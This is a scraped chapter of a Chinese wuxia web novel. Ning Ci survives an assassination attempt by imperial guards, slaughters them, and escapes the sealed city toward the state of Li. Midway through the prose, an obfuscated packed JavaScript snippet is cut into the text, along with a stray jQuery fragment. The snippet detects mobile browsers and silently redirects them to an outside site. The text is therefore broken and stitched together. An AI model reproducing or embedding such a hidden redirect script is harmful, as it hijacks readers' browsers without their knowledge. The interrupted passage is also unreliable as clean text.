清幽谷大地撕裂的那一刻,皇宫内同时传来了消息,周王的眼线将宁辞的一举一动悉数上报。
李徵第一时间就出动了暗卫,他对众人下了死命令,绝对不能留活口,如若他们任务完不成就提头来见。
十二金吾卫领了命,用最快的速度赶往清幽谷。
与此同时,对暗中的一切丝毫未察的宁辞看着昭宴,沉默了良久。
“早一刻伤心和晚一刻伤心有什么区别吗?”
昭宴:“对不起。”
她终于想明白为什么大家都对此事三缄其口,怪不得!已经死了的人,怎么交的出来,可她的弟弟又是什么时候死的呢,西河一战亦或更晚?死在哪里?黑鹰卫还是西河?
宁辞只觉越陷越深,如同掉进了泥沼之中。
然而,上天此刻没有怜悯她也没有眷顾她,不曾给她一点儿喘息的机会,窸窸窣窣的声响从远处逼近,一群人包围了他们。
眨眼间,十二金吾卫如鬼魅一般悄然出现,黑云压城一般的气势,宁辞几乎是立刻就猜到了他们是周王派来的暗卫。
宁辞轻蔑的笑了,看来他们今晚就要来取她的性命,灭口的速度真够快的。
双方展开了激烈的战斗,对方来的人并不算多,但是水平都是极高的,她虽然在剑术一道上算是一个天才,但是江湖,不只是剑客的江湖,天才也远远不止她一个。
对面的十二金吾卫从小就被进行专业残酷的训练,每一个都是经过层层选拔的佼佼者,给皇家当暗卫的,又怎么算不上天才?
交手的过程中,宁辞不可避免地受了伤,昭宴虽然一直在身旁,尽全力护着她,但架不住对方人数多,两个人渐渐落了下风。
这么下去不是办法,宁辞眼观六路,心中暗自想到,如今局面,必须突围。
多年来培养的默契终于派上了用场,她一个眼神,昭宴就知道她想要做什么,他们用出了以前常用的一套招式,惊涛拍岸。
宁辞剑锋向东南,昭宴银枪指向西北,两人呈螺旋状,这一招的重点是快、狠、准。
两人配合的极好,宁辞向东南方向疾驰,掀起一阵狂风,她的准头一向有保证,但没想到,就快要成功的那一刻,突然又来了两个人。
是人屠和嘲风。
他们追了上来,三方混战在一起,场面一时间分外焦灼。半柱香的功夫,林珂赶了上来,也加入打斗之中。
对方既有高手又有身手不凡的暗卫,长此以往不是办法,宁辞感觉到几轮下来,她的力气也在渐渐的流失。
十二金吾卫招招直奔她而来,在她全力应付的空档不幸被嘲风打中了一掌。
这一招嘲风大概用了九成的内力,她身形僵硬的停滞了一瞬,堪堪以剑撑地才稳住。
宁辞顿感喉咙一紧,胸口传来剧痛,紧接着一股鲜血喷涌而出。
她整个人如同被撕裂了一般,头晕目眩。昭宴守在她身边,屏退周遭的攻击,不让对方的人靠近她分毫。
宁辞毫不在意地抹掉了唇边的血,她的手还在颤抖,是身体濒临极限的征兆。但她掀起眼皮,眼中装满了嗜血的疯狂。
鲜艳的红色让她心中愉悦感飙升,一种异样的感觉在她脑海中炸裂开来。
她只想着,杀!杀光这些人!
昭宴和林珂也开始应付不暇都负了伤,宁辞双眼猩红,她问自己,真的到穷途末路的那一刻了吗?好像没有,就算有,她宁辞也绝不会服输。
哪怕只有一线生机,她也要拼上一拼。
宁辞忍着疼痛咬牙重新站了起来,她很少用自己的剑法,因为她的剑意过盛,师尊对她的评价是一念神魔,即使是再普通不过的一套剑法,执剑之人剑心不同,发挥出来的效果也有所不同。
心怀爱意,一剑落芳菲,心怀恨意,一剑入黄泉。
师尊怕她走火入魔,但她如今无计可施,只能放手一搏。
一个人一无所有的时候,会想些什么?筋疲力竭的时候会不会也想毁了这个世界?
宁辞闭上眼,她想她宁愿知道真相痛苦的活着也不愿意被埋在鼓里享受虚假的幸福。然而这个世上,真相大多都是残忍的。
残忍的让人无法接受,可她既然选择了知道真相,就要为此付出代价,哪怕余生都是仇恨,哪怕前路都是阻拦。
人命债,不是那么容易偿还的,她会让所有伤害她家人的凶手,都血债血偿!
这一日,宁辞杀红了眼,剑下的亡魂比过往十几年加在一起还要多,谷中潮湿,山林之间起了血雾。
雾气氤氲开来,血腥味浓郁,天边甚至下起了零星血雨。
她看着这一切,忍不住去想到底是为什么要让这些不择手段的人来治理这个国家?
昭王他配吗?他不配!那凉王呢,他就配吗?
他们明明德不配位却享受着荣华富贵,让那些为他们卖命的臣子寒了心不算,甚至还要让他们背负莫须有的骂名含恨而终,这是什么道理?
为君者不仁,就别怪为臣者不义。
宁辞不动声色的收了剑,地面上躺了横竖一地的尸体,清一色的见血封喉。她的衣衫上、脸上都无法避免的沾上了血,但她没有清理。
她瘦削的身体迎在凛冽寒风中,挺拔如松,竟然也让人看出了铮铮铁骨。
昭宴一脸讳莫如深的看着她,似乎从来没看懂她。他靠近她,伸出手想替她擦干净眼角未干的血。
宁辞脸色苍白,看不出什么表情。他的手还没触碰到宁辞,只见她别过头,淡淡的开了口。
“至亲之人被人设计害死,那种感觉是什么滋味?”
昭宴整个人一顿,伸出的手就僵在了半空。
“被挚友背叛和隐瞒的感觉,又是什么滋味?”
他似是明白了她的用意,无奈的放下手。
“昭宴,你不是我,所以你不懂。”
她字字珠玑,诛他的心。
昭宴神色落寞:“对不起。”
她毫不留情道:“这种没有任何意义的话不要再说第三次了。”
宁辞终于恢复了一点力气,冲着远处唤了一声:“林珂。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519181|142313||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
林珂处理完尸体连忙跑过来汇报,“主子,可惜,还是让那两个刺客跑了。”
重伤人屠和嘲风,杀了十二金吾卫,已经是宁辞的极限了。
“穷寇莫追,走,我们必须尽快离开这里。”
三人到达城门时,还是晚了。
林珂问:“城门被封了,怎么办?”
宁辞知道这是对方开始行动了,不过想困住她还是太嫩了点。
面对林珂的询问,宁辞眼睛转了转,打量了一下城门的守卫。
城门的看守突然多了百十来号人,守城的侍卫似乎收到了什么命令,紧锁城门,密切观察来往对象。
她道:“不绕路了,城门如此,出城的其他路线必然已经有了埋伏,李徵城府很深,他必然会想尽办法让我死在城内,其他路线只怕会更加凶险,我们硬闯。”
昭宴将斗笠戴在了宁辞的头上,领着两人走了出去。
守城的士兵看到是他,恭敬的迎过来解释道:“太傅大人,这…您也别让我们为难,难道皇上的命令您也要违抗吗?”
昭宴与之周旋,“本官正是奉皇命办急事,耽误了你担得起吗?”
昭宴的官职不算高,但他握有实权,真要论起来,也仅在一人之下,对方因此面色为难起来。
“那,能否让小的们看一眼,这位,我们也得确保一下不是圣上抓捕的逃犯,这绝对不是不信任您,就是例行公事。”
“斗笠下的这位,是圣上的人,圣上的人,岂是你我想见就能见的?本官也不是有意为难,这样吧,本官将令牌押给你,见此令牌如见本官。待本官将人送到指定地方,立刻回来取,这样可以了吧。”
那侍卫头领有些犹豫,昭宴加重了语气:“怎么,你信不过本官?”
对方看他一脸正色,昭宴在朝堂上的风评一向甚佳,得圣上荣宠也不是一日两日了,圣上面前的红人也不是他们得罪的起的,侍卫头领手下令牌,做了个请的手势。
出了城门后,宁辞问道:“你还有心软的时候?”
昭宴哑然失笑,她还是一如既往的精明,他给那头领的令牌,并不是普通的令牌,是皇家特制的令牌,也有一个通俗易懂的名字——免死金牌!
宁辞虽然松了一口气,但她知道周王肯定很快就会发现昭宴背叛了他的事,情况紧急,她没有犹豫的时间,迅速的做出了决定。
“去离国。”
城外,马车内的祁灼已经醒了,上车之前,宁辞脱下外袍换了身干净的外衣,她不想让小孩子看到这过于血腥的一面。
“小灼。”她语气温柔的询问道:“睡得好吗?”
少年的脸庞虽然青涩但眼神柔软,是世间难得的宝石。
他乖巧应道:“阿辞姐姐,你是受伤了吗?”
血腥气是瞒不住人的,宁辞摇摇头,对着少年轻声道:“姐姐送你回家。”
祁灼虽然不明所以,但也点了点头。
故土再无眷恋,他乡前路未仆。
但宁辞决然地选择带手下前往离国,因为她还有一张底牌。